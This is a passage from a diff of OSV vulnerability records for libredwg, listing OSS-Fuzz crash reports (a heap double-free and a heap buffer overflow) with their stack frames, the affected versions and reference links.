5.6203","0.12.5.6205","0.12.5.6209","0.12.5.6214","0.12.5.6216","0.12.5.6220","0.12.5.6226","0.12.5.6229","0.12.5.6231","0.12.5.6236","0.12.5.6241","0.12.5.6243","0.12.5.6245","0.12.5.6248","0.12.5.6253","0.12.5.6257","0.12.5.6263","0.12.5.6269","0.12.5.6271","0.12.5.6277","0.12.5.6279","0.12.5.6285","0.12.5.6294","0.12.5.6302","0.12.5.6306","0.12.5.6310","0.12.5.6313","0.12.5.6316","0.12.5.6319","0.12.5.6321","0.12.5.6325","0.12.5.6333","0.12.5.6342","0.12.5.6347","0.12.5.6350","0.12.5.6355","0.12.5.6357","0.12.5.6360","0.12.5.6362","0.12.5.6366","0.12.5.6369","0.12.5.6374","0.12.5.6377","0.12.5.6384","0.12.5.6388","0.12.5.6391","0.12.5.6394","0.12.5.6399","0.12.5.6402","0.12.5.6406","0.12.5.6417","0.12.5.6424","0.12.5.6430","0.12.5.6432","0.12.5.6434","0.12.5.6437","0.12.5.6439","0.12.5.6444","0.12.5.6456","0.12.5.6459","0.12.5.6461","0.12.5.6465","0.12.5.6468","0.12.5.6479","0.12.5.6483","0.12.5.6488","0.12.5.6493","0.12.5.6495","0.12.5.6501","0.12.5.6511","0.12.5.6513","0.12.5.6517","0.12.5.6527","0.12.5.6533","0.12.5.6534","0.12.5.6539","0.12.5.6543","0.12.5.6548","0.12.5.6550","0.12.5.6564","0.12.5.6573","0.12.5.6578","0.12.5.6582","0.12.5.6585","0.12.5.6588","0.12.5.6597","0.12.5.6599","0.12.5.6605","0.12.5.6609","0.12.5.6612","0.12.5.6619","0.12.5.6622","0.12.5.6627","0.12.5.6630","0.12.5.6638","0.12.5.6640","0.12.5.6652","0.12.5.6653","0.12.5.6661","0.12.5.6664","0.12.5.6670","0.12.5.6677","0.12.5.6682","0.12.5.6688","0.12.5.6697","0.12.5.6701","0.12.5.6709","0.12.5.6714","0.12.5.6717","0.12.5.6726","0.12.5.6735","0.12.5.6739","0.12.5.6754","0.12.5.6756","0.12.5.6768","0.12.5.6776","0.12.5.6785","0.12.5.6792","0.12.5.6802","0.12.5.6811","0.12.5.6819","0.12.5.6828","0.12.5.6836","0.12.5.6843","0.12.5.6851","0.12.5.6865","0.12.5.6872","0.12.5.6891","0.12.5.6912","0.12.5.6915","0.12.5.6924","0.12.5.6926","0.12.5.6932","0.12.5.6938","0.12.5.6939","0.12.5.6945","0.12.5.6948","0.12.5.6953","0.12.5.6958","0.12.5.6962","0.12.5.6971","0.12.5.6973","0.12.5.6979","0.12.5.6984","0.12.5.6987","0.12.5.6992","0.12.5.6996","0.13","0.13.0.7003","0.13.0.7011","0.13.0.7013","0.13.0.7031","0.13.0.7036","0.13.0.7045","0.13.0.7047","0.13.0.7050","0.13.0.7060","0.13.0.7066","0.13.0.7072","0.13.0.7081","0.13.1","0.13.1.7087","0.13.2","0.13.2.7111","0.13.2.7114","0.13.2.7117","0.13.2.7125","0.13.2.7142","0.13.2.7151","0.13.2.7153","0.13.2.7154","0.13.3","0.13.3.7163","0.13.3.7165","0.13.3.7166","0.13.3.7168","0.13.3.7176","0.13.3.7183","0.13.3.7186","0.13.3.7187","0.13.3.7190","0.13.3.7199","0.13.3.7217","0.13.3.7220","0.13.3.7223","0.13.3.7224","0.13.3.7225","0.13.3.7226","0.13.3.7227","0.13.3.7233","0.13.3.7240","0.13.3.7246","0.13.3.7251","0.13.3.7257","0.13.3.7259","0.13.3.7262","0.13.3.7264","0.13.3.7265","0.13.3.7268","0.13.3.7270","0.13.3.7273","0.13.3.7298","0.13.3.7306","0.13.3.7308","0.13.3.7311","0.13.3.7320","0.13.3.7324","0.13.3.7327","0.13.3.7338","0.13.3.7341","0.13.3.7344","0.13.3.7345","0.13.3.7351","0.13.3.7371","0.13.3.7377","0.13.3.7385","0.13.3.7405","0.13.3.7409","0.13.3.7411","0.13.3.7412","0.13.3.7414","0.13.3.7420","0.13.3.7424","0.13.3.7426","0.13.3.7429","0.13.3.7431","0.13.3.7434","0.13.3.7437","0.13.3.7442","0.13.3.7445","0.13.3.7453","0.13.3.7456","0.13.3.7460","0.13.3.7466","0.13.3.7469","0.13.3.7472","0.13.3.7473","0.13.3.7483","0.13.3.7491","0.13.3.7501","0.13.3.7507","0.13.3.7516","0.13.3.7533","0.13.3.7534","0.13.3.7535","0.13.3.7539","0.13.3.7545","0.13.3.7551","0.13.3.7552","0.13.3.7554","0.13.3.7557","0.13.3.7558","0.13.3.7562","0.13.3.7571","0.13.3.7574","0.13.3.7577","0.13.3.7582","0.13.3.7599","0.13.3.7600","0.13.3.7603","0.13.3.7635","0.13.3.7637","0.13.3.7640","0.13.3.7646","0.13.3.7649","0.13.3.7650","0.13.3.7657","0.13.3.7663","0.13.3.7665","0.13.3.7675","0.13.3.7680","0.13.3.7685","0.13.3.7686","0.13.3.7690","0.13.3.7696","0.13.3.7702","0.13.3.7715","0.13.3.7721","0.13.3.7727","0.13.3.7730","0.13.3.7737","0.13.3.7741","0.13.3.7743","0.13.3.7752","0.13.3.7761","0.13.3.7763","0.13.3.7772","0.13.3.7776","0.13.3.7778","0.13.3.7789","0.13.3.7792","0.13.3.7794","0.13.3.7797","0.13.3.7802","0.13.3.7805","0.13.3.7808","0.13.3.7810","0.13.3.7812","0.13.3.7813","0.13.3.7816","0.13.3.7819","0.13.3.7825","0.13.3.7828","0.13.3.7835","0.13.3.7842","0.13.3.7846","0.13.3.7848","0.13.3.7849","0.13.3.7850","0.13.3.7851","0.13.3.7852","0.13.3.7861","0.13.3.7867","0.13.3.7873","0.13.3.7883","0.13.3.7897","0.13.3.7901","0.13.3.7906","0.13.3.7913","0.13.3.7918","0.13.3.7928","0.13.3.7932","0.13.4.7951","0.13.4.7953","0.13.4.7958","0.13.4.7963","0.13.4.7964","0.13.4","0.13.4.7969","0.13.4.7974","0.13.4.7976","0.13.4.7985","0.13.4.7998","0.13.4.8001","0.13.4.8014","0.13.4.8018","0.13.4.8028","0.13.4.8029","0.13.4.8036","0.13.4.8043","0.13.4.8051","0.13.4.8055","0.13.4.8085","0.13.4.8091","0.13.4.8104","0.13.4.8112","0.13.4.8115","0.13.4.8118","0.13.4.8123","0.13.4.8129","0.13.4.8131","0.13.4.8140","0.13.4.8144","0.13.4.8149","0.13.4.8160","0.13.4.8163","0.13.4.8166","0.13.4.8168","0.13.4.8169","0.13.4.8171","0.13.4.8174","0.13.4.8178","0.13.4.8187","0.13.4.8198","0.13.4.8200","0.13.4.8214","0.13.4.8216","0.13.4.8229","0.13.4.8230","0.13.4.8231","0.13.4.8234","0.13.4.8236","0.13.4.8237","0.13.4.8241","0.13.4.8246","0.13.4.8249","0.13.4.8252","0.13.4.8263","0.13.4.8268","0.13.4.8270","0.13.4.8273","0.13.4.8278","0.13.4.8284","0.13.4.8285","0.13.4.8293","0.13.4.8294","0.13.4.8295","0.13.4.8302","0.13.4.8304","0.13.4.8313","0.13.4.8317","0.13.4.8321","0.13.4.8336","0.13.4.8343","0.13.4.8348","0.13.4.8351","0.13.4.8356","0.13.4.8360","0.14","0.14.8363","0.14.8367","0.14.8374","0.14.8384","0.14.8390","0.14.8394","0.14.8396","0.14.8403","0.14.8406","0.14.8411","0.14.8413","0.14.8415","0.14.8418","0.14.8421","0.14.8433","0.14.8447","0.14.8460","0.14.8464","0.14.8465","0.14.8471","0.14.8487","0.14.8488","0.14.8492","0.14.8522","0.14.8531","0.14.8544","0.14.8547","0.14.8553","0.14.8554","0.14.8556","0.14.8561","0.14.8566","0.14.8578","0.14.8580","0.14.8583","0.14.8584","0.14.8585","0.14.8590","0.14.8592","0.14.8593","0.14.8594","0.14.8597","0.14.8599","0.14.8600","0.14.8601","0.14.8607","0.14.8608","0.14.8612","0.14.8622","0.14.8623","0.14.8625","0.14.8630","0.14.8635","0.14.8639","0.14.8641","0.14.8654","0.14.8656","0.14.8676","0.14.8679","0.14.8726","0.14.8739","0.14.8744","0.14.8750","0.14.8755","0.14.8758","0.14.8761","0.14.8768","0.14.8815","0.14.8823","0.14.8829","0.14.8838","0.14.8841","0.14.8847","0.14.8848","0.14.8850","0.14.8857","0.14.8869","0.14.8878","0.14.8887","0.14.8893","0.14.8907","0.14.8913","0.14.8922","0.14.8927","0.14.8931","0.14.8933","0.14.8936"],"ecosystem_specific":{"severity":"HIGH"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/libredwg/OSV-2022-653.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=49602"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"OSV-2022-653","published":"2022-07-30T00:01:52.491112Z","modified":"2026-11-12T14:30:04.360929516Z","summary":"Heap-double-free in dwg_free_common_entity_data","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=49602\n\n```\nCrash type: Heap-double-free\nCrash state:\ndwg_free_common_entity_data\ndwg_free_DIMENSION_ANG2LN\ndwg_free_object\n```\n","affected":[{"package":{"name":"libredwg","ecosystem":"OSS-Fuzz","purl":"pkg:generic/libredwg"},"ranges":[{"type":"GIT","repo":"https://github.com/LibreDWG/libredwg","events":[{"introduced":"8984c223f14dc81180ca5da66f92e5932992bb5c"}]}],"versions":["0.12.4.4635","0.12.4.4637","0.12.4.4641","0.12.4.4643","0.12.4.4647","0.12.4.4652","0.12.4.4654","0.12.4.4658","0.12.4.4660","0.12.4.4668","0.12.5.4669","0.12.5.4678","0.12.5.4685","0.12.5.4690","0.12.5.4693","0.12.5.4695","0.12.5.4697","0.12.5.4700","0.12.5.4709","0.12.5.4712","0.12.5.4715","0.12.5.4722","0.12.5.4724","0.12.5.4726","0.12.5.4731","0.12.5.4735","0.12.5.4739","0.12.5.4741","0.12.5.4743","0.12.5.4748","0.12.5.4750","0.12.5.4756","0.12.5.4760","0.12.5.4763","0.12.5.4765","0.12.5.4772","0.12.5.4776","0.12.5.4780","0.12.5.4784","0.12.5.4787","0.12.5.4797","0.12.5.4803","0.12.5.4805","0.12.5.4815","0.12.5.4820","0.12.5.4823","0.12.5.4825","0.12.5.4831","0.12.5.4833","0.12.5.4835","0.12.5.4837","0.12.5.4838","0.12.5.4852","0.12.5.4859","0.12.5.4865","0.12.5.4873","0.12.5.4881","0.12.5.4885","0.12.5.4887","0.12.5.4890","0.12.5.4893","0.12.5.4896","0.12.5.4911","0.12.5.4913","0.12.5.4915","0.12.5.4925","0.12.5.4931","0.12.5.4934","0.12.5.4937","0.12.5.4943","0.12.5.4944","0.12.5.4945","0.12.5.4959","0.12.5.4969","0.12.5.4998","0.12.5.5001","0.12.5.5002","0.12.5.5004","0.12.5.5007","0.12.5.5010","0.12.5.5016","0.12.5.5024","0.12.5.5028","0.12.5.5030","0.12.5.5035","0.12.5.5040","0.12.5.5044","0.12.5.5046","0.12.5.5050","0.12.5.5052","0.12.5.5060","0.12.5.5061","0.12.5.5066","0.12.5.5085","0.12.5.5091","0.12.5.5092","0.12.5.5093","0.12.5.5094","0.12.5.5095","0.12.5.5097","0.12.5.5101","0.12.5.5103","0.12.5.5104","0.12.5.5111","0.12.5.5122","0.12.5.5135","0.12.5.5137","0.12.5.5140","0.12.5.5142","0.12.5.5161","0.12.5.5163","0.12.5.5169","0.12.5.5170","0.12.5.5178","0.12.5.5179","0.12.5.5182","0.12.5.5183","0.12.5.5184","0.12.5.5185","0.12.5.5186","0.12.5.5195","0.12.5.5203","0.12.5.5206","0.12.5.5207","0.12.5.5227","0.12.5.5245","0.12.5.5249","0.12.5.5256","0.12.5.5269","0.12.5.5270","0.12.5.5271","0.12.5.5288","0.12.5.5314","0.12.5.5320","0.12.5.5329","0.12.5.5333","0.12.5.5334","0.12.5.5340","0.12.5.5342","0.12.5.5344","0.12.5.5348","0.12.5.5353","0.12.5.5356","0.12.5.5364","0.12.5.5377","0.12.5.5385","0.12.5.5391","0.12.5.5393","0.12.5.5395","0.12.5.5396","0.12.5.5405","0.12.5.5411","0.12.5.5415","0.12.5.5417","0.12.5.5422","0.12.5.5429","0.12.5.5432","0.12.5.5435","0.12.5.5439","0.12.5.5442","0.12.5.5445","0.12.5.5454","0.12.5.5458","0.12.5.5462","0.12.5.5465","0.12.5.5469","0.12.5.5471","0.12.5.5473","0.12.5.5474","0.12.5.5487","0.12.5.5494","0.12.5.5504","0.12.5.5506","0.12.5.5513","0.12.5.5516","0.12.5.5518","0.12.5.5521","0.12.5.5528","0.12.5.5530","0.12.5.5537","0.12.5.5539","0.12.5.5544","0.12.5.5546","0.12.5.5549","0.12.5.5552","0.12.5.5554","0.12.5.5557","0.12.5.5560","0.12.5.5563","0.12.5.5570","0.12.5.5577","0.12.5.5584","0.12.5.5625","0.12.5.5646","0.12.5.5648","0.12.5.5654","0.12.5.5656","0.12.5.5660","0.12.5.5663","0.12.5.5666","0.12.5.5667","0.12.5.5668","0.12.5.5671","0.12.5.5688","0.12.5.5691","0.12.5.5697","0.12.5.5700","0.12.5.5708","0.12.5.5710","0.12.5.5712","0.12.5.5713","0.12.5.5716","0.12.5.5720","0.12.5.5721","0.12.5.5725","0.12.5.5731","0.12.5.5733","0.12.5.5741","0.12.5.5745","0.12.5.5746","0.12.5.5748","0.12.5.5751","0.12.5.5754","0.12.5.5759","0.12.5.5761","0.12.5.5764","0.12.5.5772","0.12.5.5779","0.12.5.5784","0.12.5.5787","0.12.5.5789","0.12.5.5793","0.12.5.5796","0.12.5.5799","0.12.5.5802","0.12.5.5804","0.12.5.5806","0.12.5.5809","0.12.5.5811","0.12.5.5813","0.12.5.5822","0.12.5.5827","0.12.5.5830","0.12.5.5832","0.12.5.5837","0.12.5.5845","0.12.5.5852","0.12.5.5856","0.12.5.5859","0.12.5.5862","0.12.5.5865","0.12.5.5870","0.12.5.5875","0.12.5.5877","0.12.5.5882","0.12.5.5885","0.12.5.5887","0.12.5.5889","0.12.5.5894","0.12.5.5898","0.12.5.5903","0.12.5.5907","0.12.5.5914","0.12.5.5915","0.12.5.5922","0.12.5.5949","0.12.5.5953","0.12.5.5959","0.12.5.5962","0.12.5.5968","0.12.5.5970","0.12.5.5971","0.12.5.5975","0.12.5.5982","0.12.5.6001","0.12.5.6004","0.12.5.6010","0.12.5.6013","0.12.5.6016","0.12.5.6019","0.12.5.6022","0.12.5.6023","0.12.5.6027","0.12.5.6033","0.12.5.6037","0.12.5.6040","0.12.5.6043","0.12.5.6044","0.12.5.6046","0.12.5.6055","0.12.5.6057","0.12.5.6068","0.12.5.6076","0.12.5.6077","0.12.5.6078","0.12.5.6080","0.12.5.6090","0.12.5.6096","0.12.5.6102","0.12.5.6109","0.12.5.6111","0.12.5.6113","0.12.5.6116","0.12.5.6118","0.12.5.6121","0.12.5.6127","0.12.5.6128","0.12.5.6133","0.12.5.6135","0.12.5.6138","0.12.5.6147","0.12.5.6149","0.12.5.6157","0.12.5.6160","0.12.5.6162","0.12.5.6164","0.12.5.6169","0.12.5.6171","0.12.5.6173","0.12.5.6183","0.12.5.6187","0.12.5.6191","0.12.5.6194","0.12.5.6199","0.12.5.6203","0.12.5.6205","0.12.5.6209","0.12.5.6214","0.12.5.6216","0.12.5.6220","0.12.5.6226","0.12.5.6229","0.12.5.6231","0.12.5.6236","0.12.5.6241","0.12.5.6243","0.12.5.6245","0.12.5.6248","0.12.5.6253","0.12.5.6257","0.12.5.6263","0.12.5.6269","0.12.5.6271","0.12.5.6277","0.12.5.6279","0.12.5.6285","0.12.5.6294","0.12.5.6302","0.12.5.6306","0.12.5.6310","0.12.5.6313","0.12.5.6316","0.12.5.6319","0.12.5.6321","0.12.5.6325","0.12.5.6333","0.12.5.6342","0.12.5.6347","0.12.5.6350","0.12.5.6355","0.12.5.6357","0.12.5.6360","0.12.5.6362","0.12.5.6366","0.12.5.6369","0.12.5.6374","0.12.5.6377","0.12.5.6384","0.12.5.6388","0.12.5.6391","0.12.5.6394","0.12.5.6399","0.12.5.6402","0.12.5.6406","0.12.5.6417","0.12.5.6424","0.12.5.6430","0.12.5.6432","0.12.5.6434","0.12.5.6437","0.12.5.6439","0.12.5.6444","0.12.5.6456","0.12.5.6459","0.12.5.6461","0.12.5.6465","0.12.5.6468","0.12.5.6479","0.12.5.6483","0.12.5.6488","0.12.5.6493","0.12.5.6495","0.12.5.6501","0.12.5.6511","0.12.5.6513","0.12.5.6517","0.12.5.6527","0.12.5.6533","0.12.5.6534","0.12.5.6539","0.12.5.6543","0.12.5.6548","0.12.5.6550","0.12.5.6564","0.12.5.6573","0.12.5.6578","0.12.5.6582","0.12.5.6585","0.12.5.6588","0.12.5.6597","0.12.5.6599","0.12.5.6605","0.12.5.6609","0.12.5.6612","0.12.5.6619","0.12.5.6622","0.12.5.6627","0.12.5.6630","0.12.5.6638","0.12.5.6640","0.12.5.6652","0.12.5.6653","0.12.5.6661","0.12.5.6664","0.12.5.6670","0.12.5.6677","0.12.5.6682","0.12.5.6688","0.12.5.6697","0.12.5.6701","0.12.5.6709","0.12.5.6714","0.12.5.6717","0.12.5.6726","0.12.5.6735","0.12.5.6739","0.12.5.6754","0.12.5.6756","0.12.5.6768","0.12.5.6776","0.12.5.6785","0.12.5.6792","0.12.5.6802","0.12.5.6811","0.12.5.6819","0.12.5.6828","0.12.5.6836","0.12.5.6843","0.12.5.6851","0.12.5.6865","0.12.5.6872","0.12.5.6891","0.12.5.6912","0.12.5.6915","0.12.5.6924","0.12.5.6926","0.12.5.6932","0.12.5.6938","0.12.5.6939","0.12.5.6945","0.12.5.6948","0.12.5.6953","0.12.5.6958","0.12.5.6962","0.12.5.6971","0.12.5.6973","0.12.5.6979","0.12.5.6984","0.12.5.6987","0.12.5.6992","0.12.5.6996","0.13","0.13.0.7003","0.13.0.7011","0.13.0.7013","0.13.0.7031","0.13.0.7036","0.13.0.7045","0.13.0.7047","0.13.0.7050","0.13.0.7060","0.13.0.7066","0.13.0.7072","0.13.0.7081","0.13.1","0.13.1.7087","0.13.2","0.13.2.7111","0.13.2.7114","0.13.2.7117","0.13.2.7125","0.13.2.7142","0.13.2.7151","0.13.2.7153","0.13.2.7154","0.13.3","0.13.3.7163","0.13.3.7165","0.13.3.7166","0.13.3.7168","0.13.3.7176","0.13.3.7183","0.13.3.7186","0.13.3.7187","0.13.3.7190","0.13.3.7199","0.13.3.7217","0.13.3.7220","0.13.3.7223","0.13.3.7224","0.13.3.7225","0.13.3.7226","0.13.3.7227","0.13.3.7233","0.13.3.7240","0.13.3.7246","0.13.3.7251","0.13.3.7257","0.13.3.7259","0.13.3.7262","0.13.3.7264","0.13.3.7265","0.13.3.7268","0.13.3.7270","0.13.3.7273","0.13.3.7298","0.13.3.7306","0.13.3.7308","0.13.3.7311","0.13.3.7320","0.13.3.7324","0.13.3.7327","0.13.3.7338","0.13.3.7341","0.13.3.7344","0.13.3.7345","0.13.3.7351","0.13.3.7371","0.13.3.7377","0.13.3.7385","0.13.3.7405","0.13.3.7409","0.13.3.7411","0.13.3.7412","0.13.3.7414","0.13.3.7420","0.13.3.7424","0.13.3.7426","0.13.3.7429","0.13.3.7431","0.13.3.7434","0.13.3.7437","0.13.3.7442","0.13.3.7445","0.13.3.7453","0.13.3.7456","0.13.3.7460","0.13.3.7466","0.13.3.7469","0.13.3.7472","0.13.3.7473","0.13.3.7483","0.13.3.7491","0.13.3.7501","0.13.3.7507","0.13.3.7516","0.13.3.7533","0.13.3.7534","0.13.3.7535","0.13.3.7539","0.13.3.7545","0.13.3.7551","0.13.3.7552","0.13.3.7554","0.13.3.7557","0.13.3.7558","0.13.3.7562","0.13.3.7571","0.13.3.7574","0.13.3.7577","0.13.3.7582","0.13.3.7599","0.13.3.7600","0.13.3.7603","0.13.3.7635","0.13.3.7637","0.13.3.7640","0.13.3.7646","0.13.3.7649","0.13.3.7650","0.13.3.7657","0.13.3.7663","0.13.3.7665","0.13.3.7675","0.13.3.7680","0.13.3.7685","0.13.3.7686","0.13.3.7690","0.13.3.7696","0.13.3.7702","0.13.3.7715","0.13.3.7721","0.13.3.7727","0.13.3.7730","0.13.3.7737","0.13.3.7741","0.13.3.7743","0.13.3.7752","0.13.3.7761","0.13.3.7763","0.13.3.7772","0.13.3.7776","0.13.3.7778","0.13.3.7789","0.13.3.7792","0.13.3.7794","0.13.3.7797","0.13.3.7802","0.13.3.7805","0.13.3.7808","0.13.3.7810","0.13.3.7812","0.13.3.7813","0.13.3.7816","0.13.3.7819","0.13.3.7825","0.13.3.7828","0.13.3.7835","0.13.3.7842","0.13.3.7846","0.13.3.7848","0.13.3.7849","0.13.3.7850","0.13.3.7851","0.13.3.7852","0.13.3.7861","0.13.3.7867","0.13.3.7873","0.13.3.7883","0.13.3.7897","0.13.3.7901","0.13.3.7906","0.13.3.7913","0.13.3.7918","0.13.3.7928","0.13.3.7932","0.13.4.7951","0.13.4.7953","0.13.4.7958","0.13.4.7963","0.13.4.7964","0.13.4","0.13.4.7969","0.13.4.7974","0.13.4.7976","0.13.4.7985","0.13.4.7998","0.13.4.8001","0.13.4.8014","0.13.4.8018","0.13.4.8028","0.13.4.8029","0.13.4.8036","0.13.4.8043","0.13.4.8051","0.13.4.8055","0.13.4.8085","0.13.4.8091","0.13.4.8104","0.13.4.8112","0.13.4.8115","0.13.4.8118","0.13.4.8123","0.13.4.8129","0.13.4.8131","0.13.4.8140","0.13.4.8144","0.13.4.8149","0.13.4.8160","0.13.4.8163","0.13.4.8166","0.13.4.8168","0.13.4.8169","0.13.4.8171","0.13.4.8174","0.13.4.8178","0.13.4.8187","0.13.4.8198","0.13.4.8200","0.13.4.8214","0.13.4.8216","0.13.4.8229","0.13.4.8230","0.13.4.8231","0.13.4.8234","0.13.4.8236","0.13.4.8237","0.13.4.8241","0.13.4.8246","0.13.4.8249","0.13.4.8252","0.13.4.8263","0.13.4.8268","0.13.4.8270","0.13.4.8273","0.13.4.8278","0.13.4.8284","0.13.4.8285","0.13.4.8293","0.13.4.8294","0.13.4.8295","0.13.4.8302","0.13.4.8304","0.13.4.8313","0.13.4.8317","0.13.4.8321","0.13.4.8336","0.13.4.8343","0.13.4.8348","0.13.4.8351","0.13.4.8356","0.13.4.8360","0.14","0.14.8363","0.14.8367","0.14.8374","0.14.8384","0.14.8390","0.14.8394","0.14.8396","0.14.8403","0.14.8406","0.14.8411","0.14.8413","0.14.8415","0.14.8418","0.14.8421","0.14.8433","0.14.8447","0.14.8460","0.14.8464","0.14.8465","0.14.8471","0.14.8487","0.14.8488","0.14.8492","0.14.8522","0.14.8531","0.14.8544","0.14.8547","0.14.8553","0.14.8554","0.14.8556","0.14.8561","0.14.8566","0.14.8578","0.14.8580","0.14.8583","0.14.8584","0.14.8585","0.14.8590","0.14.8592","0.14.8593","0.14.8594","0.14.8597","0.14.8599","0.14.8600","0.14.8601","0.14.8607","0.14.8608","0.14.8612","0.14.8622","0.14.8623","0.14.8625","0.14.8630","0.14.8635","0.14.8639","0.14.8641","0.14.8654","0.14.8656","0.14.8676","0.14.8679","0.14.8726","0.14.8739","0.14.8744","0.14.8750","0.14.8755","0.14.8758","0.14.8761","0.14.8768","0.14.8815","0.14.8823","0.14.8829","0.14.8838","0.14.8841","0.14.8847","0.14.8848","0.14.8850","0.14.8857","0.14.8869","0.14.8878","0.14.8887","0.14.8893","0.14.8907","0.14.8913","0.14.8922","0.14.8927","0.14.8931","0.14.8933","0.14.8936","0.14.8941","0.14.8946"],"ecosystem_specific":{"severity":"HIGH"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/libredwg/OSV-2022-653.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=49602"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2022-714.json b/data/OSS-Fuzz/OSV-2022-714.json index 071aeb8286..22f9be482e 100644 --- a/data/OSS-Fuzz/OSV-2022-714.json +++ b/data/OSS-Fuzz/OSV-2022-714.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"OSV-2022-714","published":"2022-08-15T00:00:47.794062Z","modified":"2026-11-10T14:30:05.823322213Z","summary":"Heap-buffer-overflow in dynapi_set_helper","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=50194\n\n```\nCrash type: Heap-buffer-overflow WRITE 16\nCrash state:\ndynapi_set_helper\ndwg_dynapi_header_set_value\njson_HEADER\n```\n","affected":[{"package":{"name":"libredwg","ecosystem":"OSS-Fuzz","purl":"pkg:generic/libredwg"},"ranges":[{"type":"GIT","repo":"https://github.com/LibreDWG/libredwg","events":[{"introduced":"8984c223f14dc81180ca5da66f92e5932992bb5c"}]}],"versions":["0.12.4.4635","0.12.4.4637","0.12.4.4641","0.12.4.4643","0.12.4.4647","0.12.4.4652","0.12.4.4654","0.12.4.4658","0.12.4.4660","0.12.4.4668","0.12.5.4669","0.12.5.4678","0.12.5.4685","0.12.5.4690","0.12.5.4693","0.12.5.4695","0.12.5.4697","0.12.5.4700","0.12.5.4709","0.12.5.4712","0.12.5.4715","0.12.5.4722","0.12.5.4724","0.12.5.4726","0.12.5.4731","0.12.5.4735","0.12.5.4739","0.12.5.4741","0.12.5.4743","0.12.5.4748","0.12.5.4750","0.12.5.4756","0.12.5.4760","0.12.5.4763","0.12.5.4765","0.12.5.4772","0.12.5.4776","0.12.5.4780","0.12.5.4784","0.12.5.4787","0.12.5.4797","0.12.5.4803","0.12.5.4805","0.12.5.4815","0.12.5.4820","0.12.5.4823","0.12.5.4825","0.12.5.4831","0.12.5.4833","0.12.5.4835","0.12.5.4837","0.12.5.4838","0.12.5.4852","0.12.5.4859","0.12.5.4865","0.12.5.4873","0.12.5.4881","0.12.5.4885","0.12.5.4887","0.12.5.4890","0.12.5.4893","0.12.5.4896","0.12.5.4911","0.12.5.4913","0.12.5.4915","0.12.5.4925","0.12.5.4931","0.12.5.4934","0.12.5.4937","0.12.5.4943","0.12.5.4944","0.12.5.4945","0.12.5.4959","0.12.5.4969","0.12.5.4998","0.12.5.5001","0.12.5.5002","0.12.5.5004","0.12.5.5007","0.12.5.5010","0.12.5.5016","0.12.5.5024","0.12.5.5028","0.12.5.5030","0.12.5.5035","0.12.5.5040","0.12.5.5044","0.12.5.5046","0.12.5.5050","0.12.5.5052","0.12.5.5060","0.12.5.5061","0.12.5.5066","0.12.5.5085","0.12.5.5091","0.12.5.5092","0.12.5.5093","0.12.5.5094","0.12.5.5095","0.12.5.5097","0.12.5.5101","0.12.5.5103","0.12.5.5104","0.12.5.5111","0.12.5.5122","0.12.5.5135","0.12.5.5137","0.12.5.5140","0.12.5.5142","0.12.5.5161","0.12.5.5163","0.12.5.5169","0.12.5.5170","0.12.5.5178","0.12.5.5179","0.12.5.5182","0.12.5.5183","0.12.5.5184","0.12.5.5185","0.12.5.5186","0.12.5.5195","0.12.5.5203","0.12.5.5206","0.12.5.5207","0.12.5.5227","0.12.5.5245","0.12.5.5249","0.12.5.5256","0.12.5.5269","0.12.5.5270","0.12.5.5271","0.12.5.5288","0.12.5.5314","0.12.5.5320","0.12.5.5329","0.12.5.5333","0.12.5.5334","0.12.5.5340","0.12.5.5342","0.12.5.5344","0.12.5.5348","0.12.5.5353","0.12.5.5356","0.12.5.5364","0.12.5.5377","0.12.5.5385","0.12.5.5391","0.12.5.5393","0.12.5.5395","0.12.5.5396","0.12.5.5405","0.12.5.5411","0.12.5.5415","0.12.5.5417","0.12.5.5422","0.12.5.5429","0.12.5.5432","0.12.5.5435","0.12.5.5439","0.12.5.5442","0.12.5.5445","0.12.5.5454","0.12.5.5458","0.12.5.5462","0.12.5.5465","0.12.5.5469","0.12.5.5471","0.12.5.5473","0.12.5.5474","0.12.5.5487","0.12.5.5494","0.12.5.5504","0.12.5.5506","0.12.5.5513","0.12.5.5516","0.12.5.5518","0.12.5.5521","0.12.5.5528","0.12.5.5530","0.12.5.5537","0.12.5.5539","0.12.5.5544","0.12.5.5546","0.12.5.5549","0.12.5.5552","0.12.5.5554","0.12.5.5557","0.12.5.5560","0.12.5.5563","0.12.5.5570","0.12.5.5577","0.12.5.5584","0.12.5.5625","0.12.5.5646","0.12.5.5648","0.12.5.5654","0.12.5.5656","0.12.5.5660","0.12.5.5663","0.12.5.5666","0.12.5.5667","0.12.5.5668","0.12.5.5671","0.12.5.5688","0.12.5.5691","0.12.5.5697","0.12.5.5700","0.12.5.5708","0.12.5.5710","0.12.5.5712","0.12.5.5713","0.12.5.5716","0.12.5.5720","0.12.5.5721","0.12.5.5725","0.12.5.5731","0.12.5.5733","0.12.5.5741","0.12.5.5745","0.12.5.5746","0.12.5.5748","0.12.5.5751","0.12.5.5754","0.12.5.5759","0.12.5.5761","0.12.5.5764","0.12.5.5772","0.12.5.5779","0.12.5.5784","0.12.5.5787","0.12.5.5789","0.12.5.5793","0.12.5.5796","0.12.5.5799","0.12.5.5802","0.12.5.5804","0.12.5.5806","0.12.5.5809","0.12.5.5811","0.12.5.5813","0.12.5.5822","0.12.5.5827","0.12.5.5830","0.12.5.5832","0.12.5.5837","0.12.5.5845","0.12.5.5852","0.12.5.5856","0.12.5.5859","0.12.5.5862","0.12.5.5865","0.12.5.5870","0.12.5.5875","0.12.5.5877","0.12.5.5882","0.12.5.5885","0.12.5.5887","0.12.5.5889","0.12.5.5894","0.12.5.5898","0.12.5.5903","0.12.5.5907","0.12.5.5914","0.12.5.5915","0.12.5.5922","0.12.5.5949","0.12.5.5953","0.12.5.5959","0.12.5.5962","0.12.5.5968","0.12.5.5970","0.12.5.5971","0.12.5.5975","0.12.5.5982","0.12.5.6001","0.12.5.6004","0.12.5.6010","0.12.5.6013","0.12.5.6016","0.12.5.6019","0.12.5.6022","0.12.5.6023","0.12.5.6027","0.12.5.6033","0.12.5.6037","0.12.5.6040","0.12.5.6043","0